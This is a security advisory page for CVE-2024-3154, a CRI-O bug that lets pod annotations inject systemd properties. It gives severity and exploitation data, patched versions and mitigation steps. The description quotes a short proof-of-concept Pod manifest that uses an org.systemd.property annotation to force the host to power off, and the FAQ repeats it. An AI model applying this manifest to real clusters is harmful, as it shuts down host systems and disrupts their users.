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HIGH severity

CRI-O vulnerable to an arbitrary systemd property injectionGHSA-2cgq-h8xw-2v5j

HIGHFix: opencontainers/runc#4217

GHSA-2cgq-h8xw-2v5j is a high-severity (CVSS 7.2) CWE-77 vulnerability in github.com/cri-o/cri-o. A fix is available for github.com/cri-o/cri-o — see the affected versions and patch details below.

Also known asCVE-2024-3154GO-2024-2791
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-2cgq-h8xw-2v5j.

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs73th percentile — riskier than 73% of all scored CVEsHighest risk
0.00%0.64%1.28%1.92%0.3%1.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

3 pkgs affected
🐹github.com/cri-o/cri-o🐹github.com/cri-o/cri-o🐹github.com/cri-o/cri-o

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also:

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/cri-o/cri-o≥ 1.29.0&&< 1.29.41.29.4go get github.com/cri-o/cri-o@v1.29.4
🐹Gogithub.com/cri-o/cri-o≥ 1.28.0&&< 1.28.61.28.6go get github.com/cri-o/cri-o@v1.28.6
🐹Gogithub.com/cri-o/cri-oall versions1.27.6go get github.com/cri-o/cri-o@v1.27.6

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cri-o/cri-o, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/cri-o/cri-o to 1.29.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2cgq-h8xw-2v5j is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Impact On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation: ``` --- apiVersion: v1 kind: Pod metadata: name: poc-arbitrary-systemd-property-injection annotations: # I believe that ExecStart with an arbitrary command works here too, # but I haven't figured out how to marshalize the ExecStart struct to gvariant string. org.systemd.property.SuccessAction: "'poweroff-force'" spec: containers: - name: hello image: [quay.io/podman/hello](http://quay.io/podman/hello) ``` This means that any user who can create a pod with an arbit
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CRI-O vulnerable to an arbitrary systemd property injection